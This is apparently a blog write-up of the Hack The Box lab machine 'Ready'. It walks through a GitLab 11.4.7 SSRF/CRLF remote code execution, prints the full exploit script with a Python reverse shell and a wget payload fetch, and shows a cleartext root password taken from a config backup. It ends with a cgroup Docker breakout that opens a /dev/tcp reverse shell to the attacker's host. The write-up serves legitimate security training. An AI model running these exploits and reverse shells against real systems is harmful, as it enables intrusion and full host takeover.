3rd August 2021
Hack The Box Ready Write-Up by T13nn3s

Hack The Box Write-Up Ready – 10.10.10.220

The good thing about science is that it’s true whether or not you believe in it.

Neil deGrasse Tyson

About Ready

In this post, I’m writing a write-up for machine Ready from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Ready is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15, and submitting the root flag your points will be raised by 30.

Foothold
After the initial port scan with Nmap, we can discover two open ports. The first port is 22/tcp and the second port 5080/tcp. From the banner, the machine is revealing that GitLab is running behind the last port. After registering a user account on GitLab, we can find the GitLab 11.4.7 version. This version of GitLab has a known vulnerability.

User
After downloading the exploit, it needs some modification to get this exploit running correctly with Python3. But, after the modification, we can run the exploit and we have a reverse shell as the user account git.

Root
After doing some manual enumeration, we can find a clear-text password for the user account root. After the lateral movement to the user account root, we are stuck in a restricted shell in a Docker Container. After doing some research, we can find a way to break out this restricted shell and own this machine.

Machine Info

Hack The Box Ready Write-Up by T13nn3s
Hack The Box Ready Write-Up by T13nn3s
Hack The Box Ready Machine IP and maker
Hack The Box Machine IP and maker

Reconnaissance

Port scan

As always we start this machine with a Nmap port scan. I’ve done a scan, but it’s only discovering the open port 22/tcp. So, I have done the Nmap scan again, now with the -p- parameter.

~$ nmap -p- -sC -sV -oA ./nmap/10.10.10.220 10.10.10.220

The results.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-02 16:44 EST
Stats: 0:07:43 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 73.56% done; ETC: 16:54 (0:02:46 remaining)
Nmap scan report for 10.10.10.220
Host is up (0.094s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups//edit /users /help  |_/s/ /snippets/new /snippets//edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 602.94 seconds

There are two open ports. The first port is 22/tcp this is the default SSH port. The second port is 5080/tcp. If we look closely at the last port, we can see that there is a GitLab instance running behind this port. We are already familiair with this application from the Laboratory machine.

Enumeration GitLab

Let’s start with the enumeration of GitLab. After visiting GitLab on http://10.10.10.220:5080, we are ending up on the GitLab webpage. There is a possibility to register a user account. I’ve registered a new user account.

Hack The Box Ready Gitlab account registration
Registration user account

After the registration of the user account, we can find the current GitLab version through the help section. And it seems that this GitLab is running version 11.4.7.

Hack The Box Ready Gitlab Community Edition 11.4.7
GitLab Community Edition 11.4.7 exploit

Through searchsploit, we can find that this version of GitLab CE is suffering a Remote Code Execution (Authenticated). I found an exploit which is using two vulnerabilities. The first one is CVE-2018-19571 an Server-Side Request Forgery (SSRF) vulnerability, and the second one is CVE-2018-19585 Carriage-Return/Line-Feed (CRLF) which is basically newline injections. We can copy the exploit 49263.py to our working directory.

~$ cp usr/share/exploitdb/exploits/ruby/webapps/49263.py .

Exploitation

GitLab Remote Code Execution (Authenticated)

After analyzing the payload, we have to do some modifications. This script is not suitable for Python3. We start first by replacing the  raw_input() to input(), because it was renamed in Python3. Secondly, on the line numbers 151 and 205 the “bytes” but it has no format attribute and it’s no needed to define one to get this payload working. Last but not least, we have to change some IP-address in the exploit to point this payload to the right server. After the modifications, we got this payload.

# Exploit Title: GitLab 11.4.7 Authenticated Remote Code Execution (No Interaction Required)
# Date: 15th December 2020
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Software Link: https://about.gitlab.com/
# POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
# Tested on: GitLab 11.4.7 CE
# CVE : CVE-2018-19571 (SSRF),CVE-2018-19585 (CRLF)
import requests
import re
import warnings
from bs4 import BeautifulSoup
import sys
import base64
import urllib
from random_words import RandomWords
import argparse
import os
import time
parser = argparse.ArgumentParser(description='GitLab 11.4.7 Authenticated RCE')
parser.add_argument('-U', help='GitLab Username')
parser.add_argument('-P', help='Gitlab Password')
parser.add_argument('-l', help='rev shell lhost')
parser.add_argument('-p', help='rev shell lport ', type=int)
args = parser.parse_args()
username = args.U
password = args.P
lhost = args.l
lport = args.p
# Retrieve CSRF Token
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
gitlab_url = "http://10.129.49.62:5080"
request = requests.Session()
print("[+] Retrieving CSRF token to submit the login form")
time.sleep(1)
page = request.get(gitlab_url+"/users/sign_in")
html_content = page.text
soup = BeautifulSoup(html_content, features="lxml")
token = soup.findAll('meta')[16].get("content")
print("[+] CSRF Token : "+token)
time.sleep(1)
# Login
login_info = {
    "authenticity_token": token,
    "user[login]": username,
    "user[password]": password,
    "user[remember_me]": "0"
}
login_request = request.post(gitlab_url+"/users/sign_in", login_info)
if login_request.status_code == 200:
    print("[+] Login Successful")
    time.sleep(1)
else:
    print("Login Failed")
    print(" ")
    sys.exit()
# Exploitation
print("[+] Running Exploit")
time.sleep(1)
print("[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter")
time.sleep(1)
ipv6_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git"
r = RandomWords()
project_name = r.random_word()
project_url = '%s/%s/' % (gitlab_url, username)
print("[+] Creating Project")
time.sleep(1)
print("[+] Project Name : "+project_name)
time.sleep(1)
print("[+] Creating Python Reverse Shell")
time.sleep(1)
python_shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' % (
    lhost, lport)
os.system("touch shell.py")
shell_file = open("shell.py", "w")
shell_file.write(python_shell)
shell_file.close()
print("[+] Reverse Shell Generated")
time.sleep(1)
print("[+] Start HTTP Server in current directory")
print("Command : python3 -m http.server 80")
time.sleep(2)
http_server = input("Continue (Y/N) : ")
if (http_server == "N") or (http_server == "n"):
    print("Start HTTP Server before running exploit")
elif (http_server == "Y") or (http_server == "y"):
    print("Run this script twice with options below to get SHELL!")
    print("")
    print("Option 1 : Download shell.py rev shell to server using wget")
    print("Option 2 : Execute shell.py downloaded previously")
    option = input("Option (1/2) : ")
    if option == "1":
        reverse_shell = """\nmulti
         sadd resque:gitlab:queues system_hook_push
         lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid wget http://%s/shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
         exec
         exec
         exec\n""" % (lhost)
        project_page = request.get(gitlab_url+"/projects/new")
        html_content = project_page.text
        soup = BeautifulSoup(html_content, features="lxml")
        project_token = soup.findAll('meta')[16].get("content")
        namespace_id = soup.find(
            'input', {'name': 'project[namespace_id]'}).get('value')
        urlencoded_token1 = project_token.replace("==", "%3D%3D")
        urlencoded_token_final = urlencoded_token1.replace("+", "%2B")
        payload = "utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(
            urlencoded_token_final, ipv6_url, reverse_shell, project_name, namespace_id, project_name)
        proxies = {
            "http": "http://127.0.0.1:8080",
            "https": "https://127.0.0.1:8080",
        }
        cookies = {
            'sidebar_collapsed': 'false',
            'event_filter': 'all',
            'hide_auto_devops_implicitly_enabled_banner_1': 'false',
            '_gitlab_session': request.cookies['_gitlab_session'],
        }
        headers = {
            'Host': '10.10.10.220:5080',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://10.10.10.220:5080/projects',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '398',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
        }
        #response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)
        response1 = request.post(gitlab_url+'/projects', data=payload,
                                 cookies=cookies, proxies=proxies, headers=headers, verify=False)
        print("[+] Success!")
        time.sleep(1)
        print("[+] Run Exploit with Option 2")
    elif option == "2":
        reverse_shell = """\nmulti
         sadd resque:gitlab:queues system_hook_push
         lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid python3 shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
         exec
         exec
         exec\n"""
        project_page = request.get(gitlab_url+"/projects/new")
        html_content = project_page.text
        soup = BeautifulSoup(html_content, features="lxml")
        project_token = soup.findAll('meta')[16].get("content")
        namespace_id = soup.find(
            'input', {'name': 'project[namespace_id]'}).get('value')
        urlencoded_token1 = project_token.replace("==", "%3D%3D")
        urlencoded_token_final = urlencoded_token1.replace("+", "%2B")
        payload = "utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(
            urlencoded_token_final, ipv6_url, reverse_shell, project_name, namespace_id, project_name)
        proxies = {
            "http": "http://127.0.0.1:8080",
            "https": "https://127.0.0.1:8080",
        }
        cookies = {
            'sidebar_collapsed': 'false',
            'event_filter': 'all',
            'hide_auto_devops_implicitly_enabled_banner_1': 'false',
            '_gitlab_session': request.cookies['_gitlab_session'],
        }
        headers = {
            'Host': '10.10.10.220:5080',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://10.10.10.220:5080/projects',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '398',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
        }
        #response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)
        response1 = request.post(gitlab_url+'/projects', data=payload,
                                 cookies=cookies, proxies=proxies, headers=headers, verify=False)
        print("[+] Success!")
        time.sleep(1)
        print("[+] Spawning Reverse Shell")

The last thing we have to do is to install the Python3 module RandomWords and then we can start using the exploit. It’s important to note, that this exploit is using a proxy on 127.0.0.1:8080. For this purpose, we use Burp Suite as the proxy. We can now start the exploit.

~$ python3 49263.py -U t13nn3s -P '[email protected]' -l 10.10.16.144 -p 2222
[+] Retrieving CSRF token to submit the login form
[+] CSRF Token : /4iH8PXX3Ajr5Nsp/6/BXbJLGvdBUUzqPwHA+cDbqJKiOc5J7Zc0ytOJarqevVQg4K8sJp10pQ5dQsyvyk/rTQ==
[+] Login Successful
[+] Running Exploit
[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter
[+] Creating Project
[+] Project Name : fuse
[+] Creating Python Reverse Shell
[+] Reverse Shell Generated
[+] Start HTTP Server in current directory
Command : python3 -m http.server 80
Continue (Y/N) :

It’s now time to start a web server on port 80/tcp so that we the victim machine can download the created reverse shell file shell.py. We can invoke the command below to start the webserver.

~$ python3 -m http.server 80

Press Y, then choose option 1 to the file shell.py downloaded to the machine.

Continue (Y/N) : Y
Run this script twice with options below to get SHELL!
Option 1 : Download shell.py rev shell to server using wget
Option 2 : Execute shell.py downloaded previously
Option (1/2) : 1

Now, Burp Suite, our proxy, will receive a request, just let the request as it is and forward the request.

~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
10.10.10.220 - - [04/Feb/2021 16:39:56] "GET /shell.py HTTP/1.1" 200 -

The reverse shell is downloaded to the machine. We can run this script for the second time, and then we need to choose option 2 to execute the shell.py to establish a reverse shell.

Run this script twice with options below to get SHELL!                                                                                                                                        
Option 1 : Download shell.py rev shell to server using wget
Option 2 : Execute shell.py downloaded previously
Option (1/2) : 2
[+] Success!
[+] Spawning Reverse Shell

Reverse shell established.

~$ nc -lvvp 2222
listening on [any] 2222 …
10.10.10.220: inverse host lookup failed: Unknown host
connect to [10.10.16.144] from (UNKNOWN) [10.10.10.220] 45020
/bin/sh: 0: can't access tty; job control turned off
$ whoami
git
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:~/gitlab-rails/working$

We can now read the user flag.

[email protected]:~/gitlab-rails/working$ cd /home
cd /home
[email protected]:/home$ ls
ls
dude
[email protected]:/home$ cd dude
cd dude
[email protected]:/home/dude$ ls
ls
user.txt
[email protected]:/home/dude$ cat user.txt
cat user.txt
e1e30b052b6ec0670698805d745e7682
[email protected]:/home/dude$

Privilege Escalation

Enemuration

Through manual enumeration we can find the password wW59U!ZKMbG9+*#h in the file /opt/backup/gitlab.rb.

[email protected]:/opt/backup$ cat gitlab.rb | grep password
cat gitlab.rb | grep password
Email account password
gitlab_rails['incoming_email_password'] = "[REDACTED]"
password: '_the_password_of_the_bind_user'
password: '_the_password_of_the_bind_user'
'/users/password',
Change the initial default admin password and shared runner registration tokens.
gitlab_rails['initial_root_password'] = "password"
gitlab_rails['db_password'] = nil
gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}

With this password we can switch to the user account root.

[email protected]:/opt/backup$ su - root 
su - root
Password: wW59U!ZKMbG9+*#h
[email protected]:~# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~#

Docker breakout

We are in a restricted Docker Container. We need to break out of this restricted environment. Through this article: https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout. I found a payload to do a Docker breakout to establish a reverse shell with root privileges.

[email protected]:~# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
[email protected]:~# echo 1 > /tmp/cgrp/x/notify_on_release
[email protected]:~# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
[email protected]:~# echo "$host_path/cmd" > /tmp/cgrp/release_agent
[email protected]:~# echo '#!/bin/sh' > /cmd
[email protected]:~# echo "ps aux > $host_path/output" >> /cmd
[email protected]:~# chmod a+x /cmd
[email protected]:~# echo '#!/bin/bash' > /cmd
[email protected]:~# echo "bash -i >& /dev/tcp/10.10.16.144/5555 0>&1" >> /cmd
[email protected]:~# chmod a+x /cmd
[email protected]:~# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
[email protected]:~# head /output

Own Ready

We can now own this machine.

~$ netcat -lvvp 5555                                                                       
listening on [any] 5555 …                                                                   
10.10.10.220: inverse host lookup failed: Unknown host                                        
connect to [10.10.16.144] from (UNKNOWN) [10.10.10.220] 36252                                 
bash: cannot set terminal process group (-1): Inappropriate ioctl for device                  
bash: no job control in this shell                                                            
[email protected]:/# cat /root/root.txt                                                              
cat /root/root.txt                                                                            
b7f98681505cd39066f67147b103c2b3

Did you enjoy this write-up? Please consider spending a respect point. This is my HTB profile: https://app.hackthebox.eu/profile/224856. Many thanks in advance!

Happy Hacking! 🙂

T13nn3s

I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published. Required fields are marked *